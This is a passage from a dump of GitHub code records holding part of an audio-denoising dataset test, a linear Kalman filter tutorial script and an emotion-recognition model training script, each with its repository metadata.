data['bitstream'])\n        print('data[\\'mixed\\'].shape:', data['mixed'].shape)\n        print('data[\\'clean\\'].shape:', data['clean'].shape)\n        print('data[\\'noise\\'].shape:', data['noise'].shape)\n        print('data[\\'mask\\'].shape:', data['mask'].shape)\n        # print(torch.max(data['mask']), torch.min(data['mask']))\n        print('min-max: ({}, {})'.format(torch.min(data['mask']).numpy().squeeze(),\\\n            torch.max(data['mask']).numpy().squeeze()))\n        print(data['mask'][0])\n\n        # mixed = data['mixed'].numpy()\n        # clean = data['clean'].numpy()\n        # mask = data['mask'].numpy()\n        # out = fast_icRM(mixed, mask, K=1)\n        # print(clean == out)\n\n        print('================================================================')\n        if i >= 10:\n            exit()\n\n        if torch.max(data['mixed']) > 1 + 1e-8:\n            print(torch.max(data['mixed']), torch.min(data['mixed']))\n            exit()\n        pass\n\n\nif __name__ == \"__main__\":\n    test()\n", "repo_name": "henryxrl/Listening-to-Sound-of-Silence-for-Speech-Denoising", "sub_path": "model_2_audio_denoising/audio_denoising_model/dataset.py", "file_name": "dataset.py", "file_ext": "py", "file_size_in_byte": 17357, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 48, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "common.PROJECT_ROOT", "line_number": 23, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "common.EXPERIMENT_NAME", "line_number": 24, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "common.PHASE_TRAINING", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.utils.data.Dataset", "line_number": 55, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "common.PHASE_TRAINING", "line_number": 61, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 76, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 83, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 84, "usage_type": "call"}, {"api_name": "common.PHASE_TRAINING", "line_number": 85, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 86, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 87, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 102, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 103, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 103, "usage_type": "call"}, {"api_name": "common.PHASE_PREDICTION", "line_number": 106, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 107, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 109, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 110, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 110, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 111, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 113, "usage_type": "call"}, {"api_name": "common.PHASE_TRAINING", "line_number": 120, "usage_type": "name"}, {"api_name": "common.PHASE_TESTING", "line_number": 123, "usage_type": "name"}, {"api_name": "common.PHASE_PREDICTION", "line_number": 126, "usage_type": "name"}, {"api_name": "librosa.load", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 171, "usage_type": "call"}, {"api_name": "common.PHASE_PREDICTION", "line_number": 196, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 201, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 255, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 255, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 256, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 256, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 257, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 257, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 258, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 258, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 259, "usage_type": "attribute"}, {"api_name": "common.PHASE_TESTING", "line_number": 328, "usage_type": "argument"}, {"api_name": "torch.min", "line_number": 339, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 340, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 353, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 354, "usage_type": "call"}, {"api_name": "torch.min", "line_number": 354, "usage_type": "call"}]}
{"seq_id": "25823033652", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# http://satomacoto.blogspot.jp/2011/06/python.html\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\n\ndef plot_cov_ellipse(cov, pos, nstd=2, ax=None, **kwargs):\n    def eigsorted(cov):\n        vals, vecs = np.linalg.eigh(cov)\n        order = vals.argsort()[::-1]\n        return vals[order], vecs[:,order]\n\n    if ax is None:\n        ax = plt.gca()\n\n    vals, vecs = eigsorted(cov)\n    theta = np.degrees(np.arctan2(*vecs[:,0][::-1]))\n\n    # width, height = 2 * nstd * np.sqrt(vals)\n    width, height = 2 * nstd * vals\n    ellip = Ellipse(xy=pos, width=width, height=height, angle=theta, **kwargs)\n\n    ax.add_artist(ellip)\n    return ellip\n\n\ndef lkf(T, Y, U, mu0, Sigma0, A, B, C, Q, R):\n    '''Linear Kalman Filter\n\n    - 状態方程式\n        x = A * x_ + B * u + w, w ~ N(0,Q)\n    - 観測方程式\n        y = C * x + v, v ~ N(0,R)\n\n    Parameters\n    ==========\n    - T : ステップ数\n    - Y : 観測列\n    - U : 入力列\n    - mu0 : 初期状態推定値\n    - Sigma0 : 初期誤差共分散行列\n    - A, B, C, Q, R : カルマンフィルタの係数\n\n    Returns\n    =======\n    - M : 状態推定値列\n    '''\n\n    mu = mu0 # 初期状態推定値\n    Sigma = Sigma0 # 初期誤差共分散行列\n\n    M = [mu] # 状態推定値列\n    SM = [Sigma]\n\n    for i in range(T):\n        # 推定\n        mu_ = A * mu + B * U[i]\n        Sigma_ = Q + A * Sigma * A.T\n\n        # 更新\n        yi = Y[i+1] - C * mu_\n        S = C * Sigma_ * C.T + R\n        K = Sigma_ * C.T * S.I\n        mu = mu_ + K * yi\n        Sigma = Sigma_ - K * C * Sigma_\n        M.append(mu)\n        SM.append(Sigma)\n\n    return M, SM\n\ndef main():\n    # 状態方程式\n    # x = A * x_ + B * u + w, w ~ N(0,Q)\n    A = np.mat([[1,0], [0,1]])\n    B = np.mat([[1,0], [0,1]])\n    Q = np.mat([[1,0], [0,1]])\n    # 観測方程式\n    # y = C * x + v, v ~ N(0,R)\n    C = np.mat([[1,0], [0,1]])\n    R = np.mat([[2,0], [0,2]])\n\n    # 観測のテストデータの生成\n    T = 50 # 観測数\n    x = np.mat([[0],[0]]) # 初期位置\n    X = [x] # 状態列\n    Y = [x] # 観測列\n    u = np.mat([[2],[2]]) # 入力（一定）\n    U = [u] # 入力列\n    for i in range(T):\n        x = A * x + B * u + np.random.multivariate_normal([0, 0], Q, 1).T\n        X.append(x)\n        y = C * x + np.random.multivariate_normal([0, 0], R, 1).T\n        Y.append(y)\n        U.append(u)\n\n    # LKF\n    mu0 = np.mat([[-30],[40]]) # 初期状態推定値\n    Sigma0 = np.mat([[10,0],[0,10]]) # 初期誤差共分散行列\n    M, SM = lkf(T, Y, U, mu0, Sigma0, A, B, C, Q, R)\n\n    # 描画\n    a, b = np.array(np.concatenate(X,axis=1))\n    plt.plot(a,b,'rs-', label='Ground Truth')\n    a, b = np.array(np.concatenate(Y,axis=1))\n    plt.plot(a,b,'g^-', label='Observation')\n    a, b = np.array(np.concatenate(M,axis=1))\n    plt.plot(a,b,'bo-', label='Estimated')\n    for i in range(len(SM)):\n        plot_cov_ellipse(SM[i], M[i], nstd=1, alpha=0.5, color='blue')\n    plt.axis('equal')\n    plt.legend(loc='best')\n    plt.title(r'$\\binom{x_{k+1}}{y_{k+1}} = \\binom{1 0}{0 1} \\binom{x_{k}}{y_{k}} + \\binom{dt 0}{0 dt} \\binom{2}{2} + w, Q = \\binom{1 0}{0 1}, \\binom{x_{k}}{y_{k}} = \\binom{1 0}{0 1} \\binom{x_{k}}{y_{k}} + v, R = \\binom{2 0}{0 2}$')\n    plt.show()\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "eisoku9618/KalmanFilter_tutorial", "sub_path": "LinearKalmanFilter/all-1.py", "file_name": "all-1.py", "file_ext": "py", "file_size_in_byte": 3353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.linalg.eigh", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.degrees", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.patches.Ellipse", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 93, "usage_type": "attribute"}, {"api_name": "numpy.random.multivariate_normal", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 95, "usage_type": "attribute"}, {"api_name": "numpy.mat", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}]}
{"seq_id": "70260354814", "text": "import argparse\nimport audtorch\nimport numpy as np\nimport os\nimport pandas as pd\nimport random\nimport torch\nimport tqdm\nimport yaml\n\n\nfrom torch.utils.tensorboard import SummaryWriter\n\n\nfrom define import (\n    EMOTIONS,\n    TASK_DICT\n)\n\n\nfrom datasets import (\n    CachedDataset,\n    WavDataset\n)\n\nfrom models import (\n    Cnn10,\n    Cnn14\n)\nfrom losses import (\n    Uncertainty,\n    UncertaintyRevised\n)\nfrom utils import (\n    disaggregated_evaluation,\n    evaluate_multitask,\n    transfer_features,\n    CCCLoss\n)\n\n\ndef fix_index(df, root):\n    df.reset_index(inplace=True)\n    df['filename'] = df['filename'].apply(lambda x: os.path.join(args.data_root, x))\n    df.set_index('filename', inplace=True)\n    return df\n\n\nclass Model(torch.nn.Module):\n    def __init__(self, cnn, mlp_1, mlp_2, wlen, wshift):\n        super().__init__()\n        self.cnn = cnn\n        self.mlp_1 = mlp_1\n        self.mlp_2 = mlp_2\n        self.wlen = wlen\n        self.wshift = wshift\n        self.output_dim = self.mlp_2.fc_lay[-1]\n\n    def forward(self, x):\n        # x = x.transpose(1, 2)\n        if not self.training:\n            x = x.unfold(1, self.wlen, self.wshift).squeeze(0)\n        out = self.mlp_2(self.mlp_1(self.cnn(x)))\n        if not self.training:\n            out = out.mean(0, keepdim=True)\n        return out    \n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser('EXVO Training')\n    parser.add_argument(\n        '--data-root', \n        help='Path data has been extracted', \n        required=True\n    )\n    parser.add_argument(\n        '--results-root', \n        help='Path where results are to be stored', \n        required=True\n    )\n    parser.add_argument(\n        '--features',\n        help='Path to features', \n        required=True\n    )\n    parser.add_argument(\n        '--device', \n        help='CUDA-enabled device to use for training',\n        required=True\n    )\n    parser.add_argument(\n        '--state', \n        help='Optional initial state'\n    )\n    parser.add_argument(\n        '--approach',\n        default='cnn10',\n        choices=[\n            'cnn14',\n            'cnn10'\n        ]\n    )\n    parser.add_argument(\n        '--task',\n        default='task1',\n        choices=[\n            'task1',\n            'task3'\n        ]\n    )\n    parser.add_argument(\n        '--batch-size',\n        type=int,\n        default=32,\n        help='Batch size'\n    )\n    parser.add_argument(\n        '--epochs',\n        type=int,\n        default=60\n    )\n    parser.add_argument(\n        '--learning-rate',\n        type=float,\n        default=0.001\n    )\n    parser.add_argument(\n        '--seed',\n        type=int,\n        default=0\n    )\n    parser.add_argument(\n        '--optimizer',\n        default='SGD',\n        choices=[\n            'SGD',\n            'Adam',\n            'AdamW',\n            'RMSprop'\n        ]\n    )\n    parser.add_argument(\n        '--emo-loss',\n        default='CCC',\n        choices=[\n            'CCC',\n            'MSE',\n        ]\n    )\n    parser.add_argument(\n        '--meishu-loss',\n        default=None,\n        choices=[\n            'uncertainty',\n            'uncertainty-revised'\n        ]\n    )\n    args = parser.parse_args()\n\n    torch.manual_seed(args.seed)\n    np.random.seed(args.seed)\n    random.seed(args.seed)\n    experiment_folder = args.results_root\n    os.makedirs(experiment_folder, exist_ok=True)\n\n    df = pd.read_csv(os.path.join(args.data_root, 'data_info.csv'))\n    df['file'] = df['File_ID'].apply(lambda x: x.strip('[').strip(']') + '.wav')\n    df.set_index('file', inplace=True)\n    df_train = df.loc[df['Split'] == 'Train']\n    df_dev = df.loc[df['Split'] == 'Val']\n    df_test = df.loc[df['Split'] == 'Val']\n        \n    if args.task == 'task1':\n        target_column = EMOTIONS + ['Age', 'Country']\n    else:\n        target_column = EMOTIONS\n\n    task_dict = {key: TASK_DICT[key] for key in target_column}\n    unit_counter = 0\n    for task_index, task in enumerate(target_column):\n        task_dict[task]['target'] = task_index\n        if task_dict[task]['type'] == 'regression':\n            task_dict[task]['unit'] = unit_counter\n            unit_counter += 1\n        elif task_dict[task]['type'] == 'classification':\n            task_dict[task]['unit'] = list(range(unit_counter, unit_counter + len(df_train[task].unique())))\n            unit_counter += len(df_train[task].unique())\n    output_dim = unit_counter\n\n    if args.emo_loss == 'MSE':\n        emo_criterion = torch.nn.MSELoss()\n    elif args.emo_loss == 'CCC':\n        emo_criterion = CCCLoss()\n    if args.task == 'task1':\n        if args.meishu_loss is None:\n            def criterion(pred, true):\n                loss = 0\n                for task_index, task in enumerate(target_column):\n                    if task_dict[task]['type'] == 'classification':\n                        loss += torch.nn.CrossEntropyLoss()(\n                            pred[:, task_dict[task]['unit']],\n                            true[:, task_dict[task]['target']].long()\n                        )\n                    else:\n                        if task in EMOTIONS:\n                            loss += emo_criterion(\n                                pred[:, task_dict[task]['unit']],\n                                true[:, task_dict[task]['target']].float()\n                            )\n                        else:\n                            loss += torch.nn.MSELoss()(\n                                pred[:, task_dict[task]['unit']],\n                                true[:, task_dict[task]['target']].float()\n                            )\n                loss /= len(target_column)\n                return loss\n        else:\n            if args.meishu_loss == 'uncertainty':\n                func = Uncertainty()\n            elif args.meishu_loss == 'uncertainty-revised':\n                func = UncertaintyRevised()\n            else:\n                raise NotImplementedError(args.meishu_loss)\n            def criterion(pred, true):\n                output = [\n                    pred[:, :10],  # emotion\n                    pred[:, 11:],  # country\n                    pred[:, 10],  # age\n                ]\n                emotion = true[:, :10].float()\n                age = true[:, 10].float()\n                country = true[:, 11].long()\n                return func(output, emotion, country, age)\n    else:\n        criterion = emo_criterion\n\n    features = pd.read_csv(args.features).set_index('file')\n    features['features'] = features['features'].apply(lambda x: os.path.join(os.path.dirname(args.features), os.path.basename(x)))\n    \n    db_args = {\n        'features': features,\n        'target_column': target_column\n    }\n    if args.approach == 'cnn14':\n        model = Cnn14(\n            output_dim=output_dim\n        )\n        db_class = CachedDataset\n        db_args['transform'] = audtorch.transforms.RandomCrop(250, axis=-2)\n        model.to_yaml(os.path.join(experiment_folder, 'model.yaml'))\n    elif args.approach == 'cnn10':\n        model = Cnn10(\n            output_dim=output_dim\n        )\n        db_class = CachedDataset\n        db_args['transform'] = audtorch.transforms.RandomCrop(250, axis=-2)\n        model.to_yaml(os.path.join(experiment_folder, 'model.yaml'))\n\n    if args.state is not None:\n        initial_state = torch.load(args.state)\n        model.load_state_dict(\n            initial_state,\n            strict=False\n        )\n\n    train_dataset = db_class(\n        df_train,\n        **db_args\n    )\n    x, y = train_dataset[0]\n    print(f'Input shape: {x.shape}')\n    print(f'Output shape: {y.shape}')\n    # exit()\n    db_args.pop('transform')\n    if args.approach == 'leafnet':\n        db_args['transform'] = lambda x: x.reshape(1, -1)\n\n    dev_dataset = db_class(\n        df_dev,\n        **db_args\n    )\n\n    test_dataset = db_class(\n        df_test,\n        **db_args\n    )\n    # create DataLoaders\n    train_loader = torch.utils.data.DataLoader(\n        train_dataset,\n        shuffle=True,\n        batch_size=args.batch_size,\n        num_workers=4\n    )\n\n    dev_loader = torch.utils.data.DataLoader(\n        dev_dataset,\n        shuffle=False,\n        batch_size=1,\n        num_workers=4\n    )\n\n    test_loader = torch.utils.data.DataLoader(\n        test_dataset,\n        shuffle=False,\n        batch_size=1,\n        num_workers=4\n    )\n    device = args.device\n    if not os.path.exists(os.path.join(experiment_folder, 'state.pth.tar')):\n\n        with open(os.path.join(experiment_folder, 'hparams.yaml'), 'w') as fp:\n            yaml.dump(vars(args), fp)\n\n        writer = SummaryWriter(log_dir=os.path.join(experiment_folder, 'log'))\n\n        torch.save(\n            model.state_dict(), \n            os.path.join(\n            experiment_folder, \n            'initial.pth.tar')\n        )\n\n        if args.optimizer == 'SGD':\n            optimizer = torch.optim.SGD(\n                model.parameters(), \n                momentum=0.9, \n                lr=args.learning_rate\n            )\n        elif args.optimizer == 'Adam':\n            optimizer = torch.optim.Adam(\n                model.parameters(),\n                lr=args.learning_rate\n            )\n        elif args.optimizer == 'AdamW':\n            optimizer = torch.optim.AdamW(\n                model.parameters(),\n                lr=args.learning_rate,\n                weight_decay=0.0001\n            )\n        elif args.optimizer == 'RMSprop':\n            optimizer = torch.optim.RMSprop(\n                model.parameters(),\n                lr=args.learning_rate,\n                alpha=.95,\n                eps=1e-7\n            )\n        epochs = args.epochs\n\n        max_metric = -1\n        best_epoch = 0\n        best_state = None\n        best_results = None\n\n        plateau_scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(\n            optimizer, \n            mode='max', \n            factor=0.9,\n            patience=5\n        )\n\n        for epoch in range(epochs):\n            model.to(device)\n            model.train()\n            epoch_folder = os.path.join(\n                experiment_folder, \n                f'Epoch_{epoch+1}'\n            )\n            os.makedirs(epoch_folder, exist_ok=True)\n            for index, (features, targets) in tqdm.tqdm(\n                    enumerate(train_loader), \n                    desc=f'Epoch {epoch}', \n                    total=len(train_loader),\n                    disable=True\n                ):\n                \n                if (features != features).sum():\n                    raise ValueError(features)\n                \n                output = model(transfer_features(features, device))\n                targets = targets.to(device)\n                loss = criterion(output, targets)\n                if index % 50 == 0:\n                    writer.add_scalar(\n                        'train/loss', \n                        loss, \n                        global_step=epoch * len(train_loader) + index\n                    )\n                optimizer.zero_grad()\n                loss.backward()\n                optimizer.step()\n                # break\n\n            # dev set evaluation\n            score, results, targets, outputs, predictions = evaluate_multitask(\n                model=model, \n                device=device, \n                loader=dev_loader, \n                transfer_func=transfer_features,\n                task_dict=task_dict\n            )\n            results_df = pd.DataFrame(\n                index=df_dev.index, \n                data=predictions, \n                columns=[f'{task}.pred' for task in target_column]\n            )\n            results_df.reset_index().to_csv(os.path.join(epoch_folder, 'dev.csv'), index=False)\n            np.save(os.path.join(epoch_folder, 'outputs.npy'), outputs)\n            logging_results = disaggregated_evaluation(\n                df=results_df, \n                groundtruth=df_dev,\n                stratify=['Country_string'],\n                task_dict=task_dict\n            )\n            with open(os.path.join(epoch_folder, 'dev.yaml'), 'w') as fp:\n                yaml.dump(logging_results, fp)\n            writer.add_scalar(\n                'dev/score',\n                score,\n                (epoch + 1) * len(train_loader)\n            )\n            \n            for task in logging_results.keys():\n                metric = task_dict[task]['score']\n                logging_results[task][metric]['all'] = results[task][metric]\n                writer.add_scalars(\n                    f'dev/{task}/{metric}', \n                    logging_results[task][metric], \n                    (epoch + 1) * len(train_loader)\n                )\n\n            torch.save(model.cpu().state_dict(), os.path.join(\n                epoch_folder, 'state.pth.tar'))\n\n            print(f'Dev score at epoch {epoch+1}:{score}')\n            # print(f'Dev results at epoch {epoch+1}:\\n{yaml.dump(results)}')\n            if score > max_metric:\n                max_metric = score\n                best_epoch = epoch\n                best_state = model.cpu().state_dict()\n                best_results = results.copy()\n\n            plateau_scheduler.step(score)\n\n        print(\n            f'Best dev results found at epoch {best_epoch+1}:\\n{yaml.dump(best_results)}')\n        best_results['Epoch'] = best_epoch + 1\n        with open(os.path.join(experiment_folder, 'dev.yaml'), 'w') as fp:\n            yaml.dump(best_results, fp)\n        writer.close()\n    else:\n        best_state = torch.load(os.path.join(\n            experiment_folder, 'state.pth.tar'))\n        print('Training already run')\n\n    if not os.path.exists(os.path.join(experiment_folder, 'test_holistic.yaml')):\n        model.load_state_dict(best_state)\n        torch.save(best_state, os.path.join(\n            experiment_folder, 'state.pth.tar'))\n        score, results, targets, outputs, predictions = evaluate_multitask(\n            model=model, \n            device=device, \n            loader=test_loader, \n            transfer_func=transfer_features,\n            task_dict=task_dict\n        )\n        results_df = pd.DataFrame(\n            index=df_dev.index, \n            data=predictions, \n            columns=[f'{task}.pred' for task in target_column]\n        )\n        print(f'Best test results:\\n{yaml.dump(results)}')\n        np.save(os.path.join(experiment_folder, 'targets.npy'), targets)\n        np.save(os.path.join(experiment_folder, 'outputs.npy'), outputs)\n        results_df.reset_index().to_csv(os.path.join(epoch_folder, 'test.csv'), index=False)\n        with open(os.path.join(experiment_folder, 'test.yaml'), 'w') as fp:\n            yaml.dump(results, fp)\n        logging_results = disaggregated_evaluation(\n            df=results_df, \n            groundtruth=df_test,\n            stratify=['Country_string'],\n            task_dict=task_dict\n        )\n        with open(os.path.join(experiment_folder, 'test_holistic.yaml'), 'w') as fp:\n            yaml.dump(logging_results, fp)\n    else:\n        print('Evaluation already run')\n", "repo_name": "ATriantafyllopoulos/exvo-eihw-personalisation", "sub_path": "training.py", "file_name": "training.py", "file_ext": "py", "file_size_in_byte": 14957, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.manual_seed", "line_number": 160, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 161, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 162, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 164, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "define.EMOTIONS", "line_number": 174, "usage_type": "name"}, {"api_name": "define.EMOTIONS", "line_number": 176, "usage_type": "name"}, {"api_name": "define.TASK_DICT", "line_number": 178, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 191, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 191, "usage_type": "attribute"}, {"api_name": "utils.CCCLoss", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 200, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 200, "usage_type": "attribute"}, {"api_name": "define.EMOTIONS", "line_number": 205, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 211, "usage_type": "attribute"}, {"api_name": "losses.Uncertainty", "line_number": 219, "usage_type": "call"}, {"api_name": "losses.UncertaintyRevised", "line_number": 221, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 238, "usage_type": "call"}, {"api_name": "models.Cnn14", "line_number": 245, "usage_type": "call"}, {"api_name": "datasets.CachedDataset", "line_number": 248, "usage_type": "name"}, {"api_name": "audtorch.transforms.RandomCrop", "line_number": 249, "usage_type": "call"}, {"api_name": "audtorch.transforms", "line_number": 249, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path", "line_number": 250, "usage_type": "attribute"}, {"api_name": "models.Cnn10", "line_number": 252, "usage_type": "call"}, {"api_name": "datasets.CachedDataset", "line_number": 255, "usage_type": "name"}, {"api_name": "audtorch.transforms.RandomCrop", "line_number": 256, "usage_type": "call"}, {"api_name": "audtorch.transforms", "line_number": 256, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path", "line_number": 257, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 260, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 288, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 288, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 295, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 295, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 302, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 302, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 309, "usage_type": "call"}, {"api_name": "os.path", "line_number": 309, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 309, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 311, "usage_type": "call"}, {"api_name": "os.path", "line_number": 311, "usage_type": "attribute"}, {"api_name": "yaml.dump", "line_number": 312, "usage_type": "call"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path", "line_number": 314, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 316, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 318, "usage_type": "call"}, {"api_name": "os.path", "line_number": 318, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 324, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 324, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 330, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 330, "usage_type": "attribute"}, {"api_name": "torch.optim.AdamW", "line_number": 335, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 335, "usage_type": "attribute"}, {"api_name": "torch.optim.RMSprop", "line_number": 341, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 341, "usage_type": "attribute"}, {"api_name": "torch.optim.lr_scheduler.ReduceLROnPlateau", "line_number": 354, "usage_type": "call"}, {"api_name": 